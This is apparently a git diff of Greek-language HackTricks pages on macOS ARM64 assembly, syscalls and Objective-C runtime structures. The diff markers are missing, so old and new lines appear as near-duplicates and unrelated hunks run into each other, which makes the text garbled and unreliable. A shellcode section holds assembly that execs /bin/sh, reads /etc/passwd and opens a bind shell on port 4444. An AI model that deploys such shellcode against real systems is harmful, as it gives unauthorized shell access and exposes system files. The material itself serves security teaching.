Σημειώστε ότι η μετάβαση από 64-bit σε 32-bit συμβαίνει με ένα χαμηλότερο επίπεδο εξαίρεσης (για παράδειγμα ένα 64-bit πρόγραμμα σε EL1 προκαλεί ένα πρόγραμμα σε EL0). Αυτό επιτυγχάνεται με τον ορισμό του **bit 4 του** ειδικού μητρώου **`SPSR_ELx`** σε 1 όταν η διαδικασία νήματος `AArch32` είναι έτοιμη για εκτέλεση και το υπόλοιπο του `SPSR_ELx` αποθηκεύει τα προγράμματα CPSR του **`AArch32`**. Στη συνέχεια, το προνομιούχο πρόγραμμα καλεί την εντολή **`ERET`** ώστε ο επεξεργαστής να μεταβεί στο **`AArch32`** εισέρχοντας σε A32 ή T32 ανάλογα με το CPSR\*\*.\*\*
Το **`interworking`** συμβαίνει χρησιμοποιώντας τα bits J και T του CPSR. `J=0` και `T=0` σημαίνει **`A32`** και `J=0` και `T=1` σημαίνει **T32**. Αυτό βασικά μεταφράζεται στον ορισμό του **χαμηλότερου bit σε 1** για να υποδείξει ότι το σύνολο εντολών είναι T32.\
Αυτό ορίζεται κατά τη διάρκεια των **εντολών αλλαγής κλάδου interworking**, αλλά μπορεί επίσης να οριστεί απευθείας με άλλες εντολές όταν το PC ορίζεται ως καταχωρητής προορισμού. Παράδειγμα:
Αυτό ορίζεται κατά τη διάρκεια των **εντολών αλλαγής κλάδου interworking**, αλλά μπορεί επίσης να οριστεί απευθείας με άλλες εντολές όταν το PC ορίζεται ως μητρώο προορισμού. Παράδειγμα:
Άλλο ένα παράδειγμα:
```armasm
@ -228,24 +228,24 @@ mov r0, #8
```
### Καταχωρητές
Υπάρχουν 16 καταχωρητές 32-bit (r0-r15). **Από τον r0 έως τον r14** μπορούν να χρησιμοποιηθούν για **οποιαδήποτε λειτουργία**, ωστόσο μερικοί από αυτούς είναι συνήθως διατηρημένοι:
Υπάρχουν 16 καταχωρητές 32-bit (r0-r15). **Από τον r0 έως τον r14** μπορούν να χρησιμοποιηθούν για **οποιαδήποτε λειτουργία**, ωστόσο μερικοί από αυτούς συνήθως είναι κρατημένοι:
* **`r15`**: Δείκτης προγράμματος (πάντα). Περιέχει τη διεύθυνση της επόμενης εντολής. Στο A32 τρέχον + 8, στο T32, τρέχον + 4.
* **`r15`**: Δείκτης προγράμματος (πάντα). Περιέχει τη διεύθυνση της επόμενης εντολής. Στο A32 τρέχον + 8, στο T32 τρέχον + 4.
* **`r11`**: Δείκτης Πλαισίου
* **`r12`**: Καταχωρητής κλήσης εντός διαδικασίας
* **`r13`**: Δείκτης Στοίβας
* **`r14`**: Καταχωρητής Συνδέσμου
Επιπλέον, οι καταχωρητές αντιγράφονται σε **`τράπεζες καταχωρητών`**. Αυτά είναι μέρη που αποθηκεύουν τις τιμές των καταχωρητών επιτρέποντας την εκτέλεση **γρήγορης αλλαγής πλαισίου** στην επεξεργασία εξαιρέσεων και προνομιούχων λειτουργιών για να αποφευχθεί η ανάγκη χειροκίνητης αποθήκευσης και επαναφοράς των καταχωρητών κάθε φορά.\
Αυτό γίνεται με το **αποθήκευση της κατάστασης του επεξεργαστή από το `CPSR` στο `SPSR`** της λειτουργικής κατάστασης του επεξεργαστή στην οποία γίνεται η εξαίρεση. Κατά την επιστροφή από την εξαίρεση, το **`CPSR`** επαναφέρεται από το **`SPSR`**.
Αυτό επιτυγχάνεται με το **αποθήκευση της κατάστασης του επεξεργαστή από το `CPSR` στο `SPSR`** της λειτουργικής κατάστασης του επεξεργαστή στην οποία λαμβάνεται η εξαίρεση. Κατά την επιστροφή από την εξαίρεση, το **`CPSR`** αποκαθίσταται από το **`SPSR`**.
### CPSR - Τρέχουσα Κατάσταση Προγράμματος
Στο AArch32 το CPSR λειτουργεί παρόμοια με το **`PSTATE`** στο AArch64 και αποθηκεύεται επίσης στο **`SPSR_ELx`** όταν λαμβάνεται μια εξαίρεση για να αποκατασταθεί αργότερα η εκτέλεση:
<figure><img src="../../../.gitbook/assets/image (1194).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1197).png" alt=""><figcaption></figcaption></figure>
Τα πεδία διαιρούνται σε ορισμένες ομάδες:
Τα πεδία χωρίζονται σε ορισμένες ομάδες:
* Κατάσταση Καταχώρησης Προγράμματος (APSR): Αριθμητικές σημαίες και προσβάσιμες από EL0
* Καταχωρητές Κατάστασης Εκτέλεσης: Συμπεριφορά διεργασίας (διαχειρίζεται από το λειτουργικό σύστημα).
@ -253,21 +253,21 @@ mov r0, #8
#### Κατάσταση Καταχώρησης Προγράμματος (APSR)
* Οι σημαίες **`N`**, **`Z`**, **`C`**, **`V`** (όπως και στο AArch64)
* Η σημαία **`Q`**: Τίθεται σε 1 όταν συμβαίνει **κορεσμός ακεραιών** κατά την εκτέλεση μιας εξειδικευμένης αριθμητικής εντολής κορεσμού. Μόλις τεθεί σε **`1`**, θα διατηρήσει την τιμή μέχρι να τεθεί χειροκίνητα σε 0. Επιπλέον, δεν υπάρχει καμία εντολή που ελέγχει την τιμή της ρητά, πρέπει να γίνει ανάγνωση χειροκίνητα.
* **`GE`** (Μεγαλύτερο από ή ίσο με) Σημαίες: Χρησιμοποιούνται σε λειτουργίες SIMD (Μοναδική Εντολή, Πολλαπλά Δεδομένα), όπως "παράλληλη πρόσθεση" και "παράλληλη αφαίρεση". Αυτές οι λειτουργίες επιτρέπουν την επεξεργασία πολλαπλών σημείων δεδομένων σε μια μόνο εντολή.
* Η σημαία **`Q`**: Τίθεται σε 1 όταν συμβαίνει **κορεσμός ακεραιών** κατά την εκτέλεση μιας εξειδικευμένης αριθμητικής εντολής κορεσμού. Μόλις τεθεί σε **`1`**, θα διατηρήσει την τιμή μέχρι να τεθεί χειροκίνητα σε 0. Επιπλέον, δεν υπάρχει καμία εντολή που ελέγχει την τιμή της ρητά, πρέπει να γίνει ανάγνωση της χειροκίνητα.
* **`GE`** (Μεγαλύτερο από ή ίσο με) Σημαίες: Χρησιμοποιούνται σε λειτουργίες SIMD (Μοναδική Εντολή, Πολλαπλά Δεδομένα), όπως "παράλληλη πρόσθεση" και "παράλληλη αφαίρεση". Αυτές οι λειτουργίες επιτρέπουν την επεξεργασία πολλαπλών σημείων δεδομένων σε μια μόνο εντολή.
Για παράδειγμα, η εντολή **`UADD8`** **προσθέτει τέσσερα ζεύγη bytes** (από δύο 32-bit τελεστές) παράλληλα και αποθηκεύει τα αποτελέσματα σε έναν καταχωρητή 32-bit. Στη συνέχεια **τίθεται οι `GE` σημαίες στο `APSR`** βάσει αυτών των αποτελεσμάτων. Κάθε σημαία GE αντιστοιχεί σε ένα από τα ζεύγη byte πρόσθεσης, υποδεικνύοντας αν η πρόσθεση για αυτό το ζεύγος byte **υπερχείλισε**.
Για παράδειγμα, η εντολή **`UADD8`** **προσθέτει τέσσερα ζεύγη bytes** (από δύο 32-bit τελεστές) παράλληλα και αποθηκεύει τα αποτελέσματα σε έναν καταχωρητή 32-bit. Στη συνέχεια **τίθεται οι `GE` σημαίες στο `APSR`** βάσει αυτών των αποτελεσμάτων. Κάθε σημαία GE αντιστοιχεί σε ένα από τα ζεύγη byte, υποδεικνύοντας αν η πρόσθεση για αυτό το ζεύγος byte **υπερχείλισε**.
Η εντολή **`SEL`** χρησιμοποιεί αυτές τις GE σημαίες για να εκτελέσει συνθήκες.
Η εντολή **`SEL`** χρησιμοποιεί αυτές τις GE σημαίες για να εκτελέσει συνθήκες ενεργειών.
#### Καταχωρητές Κατάστασης Εκτέλεσης
* Τα bits **`J`** και **`T`**: Το **`J`** πρέπει να είναι 0 και αν το **`T`** είναι 0 χρησιμοποιείται το σύνολο εντολών A32, ενώ αν είναι 1 χρησιμοποιείται το T32.
* **Κατάσταση Ενότητας Μπλοκ IT** (`ITSTATE`): Αυτά είναι τα bits από 10-15 και 25-26. Αποθηκεύουν συνθήκες για εντολές μέσα σε μια ομάδα που προηγείται από το **`IT`**.
* **`E`** bit: Υποδεικνύει την **τελειότητα**.
* **Λειτουργία και Μάσκα Εξαιρέσεων Καταχωρητών** (0-4): Καθορίζουν την τρέχουσα κατάσταση εκτέλεσης. Το **5ο** υποδεικνύει αν το πρόγραμμα τρέχει ως 32bit (ένα 1) ή 64bit (ένα 0). Τα άλλα 4 αντιπροσωπεύουν τη **λειτουργία εξαίρεσης που χρησιμοποιείται επί του παρόντος** (όταν συμβαίνει μια εξαίρεση και χειρίζεται). Ο αριθμός ορίζει την τρέχουσα προτεραιότητα σε περίπτωση που προκληθεί μια άλλη εξαίρεση ενώ αυτή χειρίζεται.
* **Κατάσταση Λειτουργίας και Μάσκα Εξαιρέσεων** (0-4): Καθορίζουν την τρέχουσα κατάσταση εκτέλεσης. Το **5ο** υποδεικνύει αν το πρόγραμμα εκτελείται ως 32bit (ένα 1) ή 64bit (ένα 0). Τα άλλα 4 αντιπροσωπεύουν τη **λειτουργική κατάσταση εξαίρεσης που χρησιμοποιείται επί του παρόντος** (όταν συμβαίνει μια εξαίρεση και χειρίζεται). Ο αριθμός ορίζει την τρέχουσα προτεραιότητα σε περίπτωση που προκληθεί μια άλλη εξαίρεση ενώ αυτή χειρίζεται.
<figure><img src="../../../.gitbook/assets/image (1197).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1200).png" alt=""><figcaption></figcaption></figure>
* **`AIF`**: Ορισμένες εξαιρέσεις μπορούν να απενεργοποιηθούν χρησιμοποιώντας τα bits **`A`**, `I`, `F`. Αν το **`A`** είναι 1 σημαίνει ότι θα προκληθούν **ασύγχρονες αποτυχίες**. Το **`I`** ρυθμίζει την ανταπόκριση σε εξωτερικά υλικά **Αιτήσεις Διακοπών** (IRQs). και το F σχετίζεται με τις **Γρήγορες Αιτήσεις Διακοπών** (FIRs).
```bash
@ -280,16 +280,16 @@ dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shar
{% endcode %}
{% hint style="success" %}
Μερικές φορές είναι πιο εύκολο να ελέγξετε τον **αποκωδικοποιημένο** κώδικα από το **`libsystem_kernel.dylib`** **από** τον έλεγχο του **πηγαίου κώδικα** επειδή ο κώδικας αρκετών συστοιχιών (BSD και Mach) δημιουργείται μέσω scripts (ελέγξτε τα σχόλια στον πηγαίο κώδικα), ενώ στο dylib μπορείτε να βρείτε τι καλείται.
Μερικές φορές είναι πιο εύκολο να ελέγξετε τον **αποκωδικοποιημένο** κώδικα από το **`libsystem_kernel.dylib`** **από** τον έλεγχο του **πηγαίου κώδικα** επειδή ο κώδικας αρκετών syscalls (BSD και Mach) δημιουργείται μέσω scripts (ελέγξτε τα σχόλια στον πηγαίο κώδικα), ενώ στο dylib μπορείτε να βρείτε τι καλείται.
{% endhint %}
### κλήσεις machdep
Το XNU υποστηρίζει έναν άλλο τύπο κλήσεων που ονομάζονται εξαρτημένες από τη μηχανή. Ο αριθμός αυτών των κλήσεων εξαρτάται από την αρχιτεκτονική και ούτε οι κλήσεις ούτε οι αριθμοί είναι εγγυημένο ότι θα παραμείνουν σταθεροί.
Το XNU υποστηρίζει έναν άλλο τύπο κλήσεων που ονομάζονται εξαρτώμενες από τη μηχανή. Ο αριθμός αυτών των κλήσεων εξαρτάται από την αρχιτεκτονική και ούτε οι κλήσεις ούτε οι αριθμοί είναι εγγυημένο ότι θα παραμείνουν σταθεροί.
### σελίδα comm
Αυτή είναι μια σελίδα μνήμης ιδιοκτήτη του πυρήνα που αντιστοιχίζεται στον χώρο διεύθυνσης κάθε διεργασίας χρήστη. Έχει σκοπό να κάνει τη μετάβαση από τη λειτουργία χρήστη στον πυρήνα πιο γρήγορη από τη χρήση κλήσεων συστήματος για υπηρεσίες πυρήνα που χρησιμοποιούνται τόσο πολύ ώστε αυτή η μετάβαση θα ήταν πολύ αναποτελεσματική.
Αυτή είναι μια σελίδα μνήμης ιδιοκτήτη του πυρήνα που αντιστοιχίζεται στον χώρο διεύθυνσης κάθε διεργασίας χρήστη. Έχει σκοπό να κάνει τη μετάβαση από τη λειτουργία χρήστη στον χώρο πυρήνα πιο γρήγορη από τη χρήση syscalls για υπηρεσίες πυρήνα που χρησιμοποιούνται τόσο πολύ ώστε αυτή η μετάβαση θα ήταν πολύ αναποτελεσματική.
Για παράδειγμα, η κλήση `gettimeofdate` διαβάζει την τιμή του `timeval` απευθείας από τη σελίδα comm.
@ -303,8 +303,9 @@ dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shar
* x1: op -> Επιλογέας της μεθόδου
* x2... -> Υπόλοιπα ορίσματα της κληθείσας μεθόδου
Έτσι, αν τοποθετήσετε ένα σημείο ανακοπής πριν από το κλάδο αυτής της συνάρτησης, μπορείτε εύκολα να βρείτε τι καλείται στο lldb με (σε αυτό το παράδειγμα το αντικείμενο καλεί ένα αντικείμενο από `NSConcreteTask` που θα εκτελέσει μια εντολή):
```
Έτσι, αν τοποθετήσετε ένα σημείο ανακοπής πριν από το κλάδο αυτής της συνάρτησης, μπορείτε εύκολα να βρείτε τι κλήθηκε στο lldb με (σε αυτό το παράδειγμα το αντικείμενο καλεί ένα αντικείμενο από `NSConcreteTask` που θα εκτελέσει έναν εντολή):
```bash
# Right in the line were objc_msgSend will be called
(lldb) po $x0
<NSConcreteTask: 0x1052308e0>
@ -320,9 +321,29 @@ dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shar
whoami
)
```
### Shellcodes
{% hint style="success" %}
Με την ρύθμιση της μεταβλητής περιβάλλοντος **`NSObjCMessageLoggingEnabled=1`** είναι δυνατή η καταγραφή όταν αυτή η συνάρτηση καλείται σε ένα αρχείο όπως το `/tmp/msgSends-pid`.
Για να μεταγλωτίσετε:
Επιπλέον, με τη ρύθμιση **`OBJC_HELP=1`** και καλώντας οποιοδήποτε δυαδικό μπορείτε να δείτε άλλες μεταβλητές περιβάλλοντος που θα μπορούσατε να χρησιμοποιήσετε για να **καταγράψετε** όταν συμβαίνουν συγκεκριμένες ενέργειες Objc-C.
{% endhint %}
Όταν αυτή η συνάρτηση καλείται, είναι απαραίτητο να βρεθεί η κληθείσα μέθοδος της καθορισμένης περίπτωσης, για τον σκοπό αυτό πραγματοποιούνται διαφορετικές αναζητήσεις:
* Εκτέλεση αισιόδοξης αναζήτησης στη μνήμη cache:
* Εάν επιτύχει, ολοκληρώθηκε
* Απόκτηση κλειδώματος runtimeLock (ανάγνωση)
* Εάν (realize && !cls->realized) πραγματοποίησε την κλάση
* Εάν (initialize && !cls->initialized) αρχικοποίησε την κλάση
* Δοκιμή της δικής cache της κλάσης:
* Εάν επιτύχει, ολοκληρώθηκε
* Δοκιμή λίστας μεθόδων της κλάσης:
* Εάν βρεθεί, γέμισε την cache και ολοκληρώθηκε
* Δοκιμή της cache της υπερκλάσης:
* Εάν επιτύχει, ολοκληρώθηκε
* Δοκιμή λίστας μεθόδων της υπερκλάσης:
* Εάν βρεθεί, γέμισε την cache και ολοκληρώθηκε
* Εάν (resolver) δοκίμασε τον επίλυση μεθόδου και επανάλαβε από την αναζήτηση της κλάσης
* Εάν εξακολουθεί να βρίσκεται εδώ (= όλα τα άλλα απέτυχαν) δοκίμασε τον προωθητή
```bash
as -o shell.o shell.s
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
@ -468,7 +489,7 @@ sh_path: .asciz "/bin/sh"
#### Διάβασμα με την εντολή cat
Ο στόχος είναι να εκτελεστεί η εντολή `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, οπότε το δεύτερο όρισμα (x1) είναι ένας πίνακας παραμέτρων (ο οποίος στη μνήμη αυτό σημαίνει ένα σωρό με τις διευθύνσεις).
Ο στόχος είναι να εκτελεστεί η εντολή `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, οπότε το δεύτερο όρισμα (x1) είναι ένας πίνακας παραμέτρων (ο οποίος στη μνήμη αντιστοιχεί σε ένα σωρό με τις διευθύνσεις).
```armasm
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
.global _main ; Declare a global symbol _main
@ -538,9 +559,9 @@ sh_c_option: .asciz "-c"
.align 2
touch_command: .asciz "touch /tmp/lalala"
```
#### Δέστε το κέλυφος
#### Bind shell
Δέστε το κέλυφος από [https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s) στη **θύρα 4444**
Δέστε το shell από [https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s) στη **θύρα 4444**
```armasm
.section __TEXT,__text
.global _main
@ -691,16 +712,17 @@ mov x2, xzr
mov x16, #59
svc #0x1337
```
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** 💬 [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε hacking tricks υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}

View file

@ -0,0 +1,160 @@
# Αντικείμενα στη μνήμη
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Υποστηρίξτε το HackTricks</summary>
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** 💬 στην [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα χάκινγκ υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>
{% endhint %}
## CFRuntimeClass
Τα αντικείμενα CF\* προέρχονται από το CoreFOundation, το οποίο παρέχει περισσότερες από 50 κλάσεις αντικειμένων όπως `CFString`, `CFNumber` ή `CFAllocatior`.
Όλες αυτές οι κλάσεις είναι παραδείγματα της κλάσης `CFRuntimeClass`, η οποία όταν καλείται επιστρέφει ένα δείκτη στον πίνακα `__CFRuntimeClassTable`. Η CFRuntimeClass ορίζεται στο [**CFRuntime.h**](https://opensource.apple.com/source/CF/CF-1153.18/CFRuntime.h.auto.html):
```objectivec
// Some comments were added to the original code
enum { // Version field constants
_kCFRuntimeScannedObject = (1UL << 0),
_kCFRuntimeResourcefulObject = (1UL << 2), // tells CFRuntime to make use of the reclaim field
_kCFRuntimeCustomRefCount = (1UL << 3), // tells CFRuntime to make use of the refcount field
_kCFRuntimeRequiresAlignment = (1UL << 4), // tells CFRuntime to make use of the requiredAlignment field
};
typedef struct __CFRuntimeClass {
CFIndex version; // This is made a bitwise OR with the relevant previous flags
const char *className; // must be a pure ASCII string, nul-terminated
void (*init)(CFTypeRef cf); // Initializer function
CFTypeRef (*copy)(CFAllocatorRef allocator, CFTypeRef cf); // Copy function, taking CFAllocatorRef and CFTypeRef to copy
void (*finalize)(CFTypeRef cf); // Finalizer function
Boolean (*equal)(CFTypeRef cf1, CFTypeRef cf2); // Function to be called by CFEqual()
CFHashCode (*hash)(CFTypeRef cf); // Function to be called by CFHash()
CFStringRef (*copyFormattingDesc)(CFTypeRef cf, CFDictionaryRef formatOptions); // Provides a CFStringRef with a textual description of the object// return str with retain
CFStringRef (*copyDebugDesc)(CFTypeRef cf); // CFStringRed with textual description of the object for CFCopyDescription
#define CF_RECLAIM_AVAILABLE 1
void (*reclaim)(CFTypeRef cf); // Or in _kCFRuntimeResourcefulObject in the .version to indicate this field should be used
// It not null, it's called when the last reference to the object is released
#define CF_REFCOUNT_AVAILABLE 1
// If not null, the following is called when incrementing or decrementing reference count
uint32_t (*refcount)(intptr_t op, CFTypeRef cf); // Or in _kCFRuntimeCustomRefCount in the .version to indicate this field should be used
// this field must be non-NULL when _kCFRuntimeCustomRefCount is in the .version field
// - if the callback is passed 1 in 'op' it should increment the 'cf's reference count and return 0
// - if the callback is passed 0 in 'op' it should return the 'cf's reference count, up to 32 bits
// - if the callback is passed -1 in 'op' it should decrement the 'cf's reference count; if it is now zero, 'cf' should be cleaned up and deallocated (the finalize callback above will NOT be called unless the process is running under GC, and CF does not deallocate the memory for you; if running under GC, finalize should do the object tear-down and free the object memory); then return 0
// remember to use saturation arithmetic logic and stop incrementing and decrementing when the ref count hits UINT32_MAX, or you will have a security bug
// remember that reference count incrementing/decrementing must be done thread-safely/atomically
// objects should be created/initialized with a custom ref-count of 1 by the class creation functions
// do not attempt to use any bits within the CFRuntimeBase for your reference count; store that in some additional field in your CF object
#pragma GCC diagnostic push
#pragma GCC diagnostic ignored "-Wmissing-field-initializers"
#define CF_REQUIRED_ALIGNMENT_AVAILABLE 1
// If not 0, allocation of object must be on this boundary
uintptr_t requiredAlignment; // Or in _kCFRuntimeRequiresAlignment in the .version field to indicate this field should be used; the allocator to _CFRuntimeCreateInstance() will be ignored in this case; if this is less than the minimum alignment the system supports, you'll get higher alignment; if this is not an alignment the system supports (e.g., most systems will only support powers of two, or if it is too high), the result (consequences) will be up to CF or the system to decide
} CFRuntimeClass;
```
## Objective-C
### Χρησιμοποιούμενες ενότητες μνήμης
Τα περισσότερα δεδομένα που χρησιμοποιούνται από το runtime του ObjectiveC θα αλλάξουν κατά τη διάρκεια της εκτέλεσης, γι' αυτό χρησιμοποιεί ορισμένες ενότητες από το τμήμα **\_\_DATA** στη μνήμη:
* **`__objc_msgrefs`** (`message_ref_t`): Αναφορές μηνυμάτων
* **`__objc_ivar`** (`ivar`): Μεταβλητές ιδιότητας
* **`__objc_data`** (`...`): Μεταβλητά δεδομένα
* **`__objc_classrefs`** (`Class`): Αναφορές κλάσεων
* **`__objc_superrefs`** (`Class`): Αναφορές υπερκλάσεων
* **`__objc_protorefs`** (`protocol_t *`): Αναφορές πρωτοκόλλων
* **`__objc_selrefs`** (`SEL`): Αναφορές επιλογέα
* **`__objc_const`** (`...`): Δεδομένα κλάσης `r/o` και άλλα (ελπίζουμε) σταθερά δεδομένα
* **`__objc_imageinfo`** (`version, flags`): Χρησιμοποιείται κατά τη φόρτωση της εικόνας: Η έκδοση είναι προς το παρόν `0`; Τα σημαία καθορίζουν την προεπιλεγμένη υποστήριξη GC, κλπ.
* **`__objc_protolist`** (`protocol_t *`): Λίστα πρωτοκόλλων
* **`__objc_nlcatlist`** (`category_t`): Δείκτης σε μη-τεμπέλιες κατηγορίες που έχουν οριστεί σε αυτό το δυαδικό
* **`__objc_catlist`**** (`category_t`): Δείκτης σε κατηγορίες που έχουν οριστεί σε αυτό το δυαδικό
* **`__objc_nlclslist`** (`classref_t`): Δείκτης σε μη-τεμπέλιες κλάσεις Objective-C που έχουν οριστεί σε αυτό το δυαδικό
* **`__objc_classlist`** (`classref_t`): Δείκτες σε όλες τις κλάσεις Objective-C που έχουν οριστεί σε αυτό το δυαδικό
Χρησιμοποιεί επίσης μερικές ενότητες στο τμήμα **`__TEXT`** για να αποθηκεύσει σταθερές τιμές που δεν είναι δυνατό να γραφτούν σε αυτή την ενότητα:
* **`__objc_methname`** (C-String): Ονόματα μεθόδων
* **`__objc_classname`** (C-String): Ονόματα κλάσεων
* **`__objc_methtype`** (C-String): Τύποι μεθόδων
### Κωδικοποίηση Τύπου
Το Objective-C χρησιμοποιεί κάποια μετατροπή για να κωδικοποιήσει τους τύπους επιλογέα και μεταβλητών απλών και πολύπλοκων τύπων:
* Οι πρωτογενείς τύποι χρησιμοποιούν τον πρώτο χαρακτήρα του τύπου, όπως `i` για `int`, `c` για `char`, `l` για `long`... και χρησιμοποιεί το κεφαλαίο γράμμα σε περίπτωση που είναι unsigned (`L` για `unsigned Long`).
* Άλλοι τύποι δεδομένων οι οποίοι χρησιμοποιούνται ή είναι ειδικοί, χρησιμοποιούν άλλους χαρακτήρες ή σύμβολα όπως `q` για `long long`, `b` για `bitfields`, `B` για `booleans`, `#` για `classes`, `@` για `id`, `*` για `char pointers`, `^` για γενικούς `pointers` και `?` για `undefined`.
* Οι πίνακες, δομές και ένωση χρησιμοποιούν `[`, `{` και `(`
#### Δήλωση Παραδείγματος Μεθόδου
{% code overflow="wrap" %}
```objectivec
- (NSString *)processString:(id)input withOptions:(char *)options andError:(id)error;
```
{% endcode %}
Ο επιλογέας θα ήταν `processString:withOptions:andError:`
#### Κωδικοποίηση Τύπου
* Το `id` κωδικοποιείται ως `@`
* Το `char *` κωδικοποιείται ως `*`
Η πλήρης κωδικοποίηση τύπου για τη μέθοδο είναι:
```less
@24@0:8@16*20^@24
```
#### Αναλυτική Ανάλυση
1. **Τύπος Επιστροφής (`NSString *`)**: Κωδικοποιείται ως `@` με μήκος 24
2. **`self` (παράδειγμα αντικειμένου)**: Κωδικοποιείται ως `@`, στη θέση 0
3. **`_cmd` (επιλογέας)**: Κωδικοποιείται ως `:`, στη θέση 8
4. **Πρώτο όρισμα (`char * input`)**: Κωδικοποιείται ως `*`, στη θέση 16
5. **Δεύτερο όρισμα (`NSDictionary * options`)**: Κωδικοποιείται ως `@`, στη θέση 20
6. **Τρίτο όρισμα (`NSError ** error`)**: Κωδικοποιείται ως `^@`, στη θέση 24
**Με τον επιλογέα + την κωδικοποίηση μπορείτε να ανακατασκευάσετε τη μέθοδο.**
### **Κλάσεις**
Οι κλάσεις στο Objective-C είναι μια δομή με ιδιότητες, δείκτες μεθόδων... Είναι δυνατόν να βρείτε τη δομή `objc_class` στο [**κώδικα πηγής**](https://opensource.apple.com/source/objc4/objc4-756.2/runtime/objc-runtime-new.h.auto.html):
```objectivec
struct objc_class : objc_object {
// Class ISA;
Class superclass;
cache_t cache; // formerly cache pointer and vtable
class_data_bits_t bits; // class_rw_t * plus custom rr/alloc flags
class_rw_t *data() {
return bits.data();
}
void setData(class_rw_t *newData) {
bits.setData(newData);
}
void setInfo(uint32_t set) {
assert(isFuture() || isRealized());
data()->setFlags(set);
}
[...]
```
Αυτή η κλάση χρησιμοποιεί μερικά bits του πεδίου isa για να υποδείξει πληροφορίες σχετικά με την κλάση.
Στη συνέχεια, η δομή έχει ένα δείκτη προς τη δομή `class_ro_t` που αποθηκεύεται στο δίσκο και περιέχει χαρακτηριστικά της κλάσης όπως το όνομά της, τις βασικές μεθόδους, τις ιδιότητες και τις μεταβλητές της παρουσίας.\
Κατά τη διάρκεια της εκτέλεσης, μια επιπλέον δομή `class_rw_t` χρησιμοποιείται περιέχοντας δείκτες που μπορούν να τροποποιηθούν, όπως μεθόδους, πρωτόκολλα, ιδιότητες...

View file

@ -1,56 +1,57 @@
# Διάβρωση Τειχών Προστασίας στο macOS
# Παράκαμψη Τοίχων Πυρασφάλειας στο macOS
{% hint style="success" %}
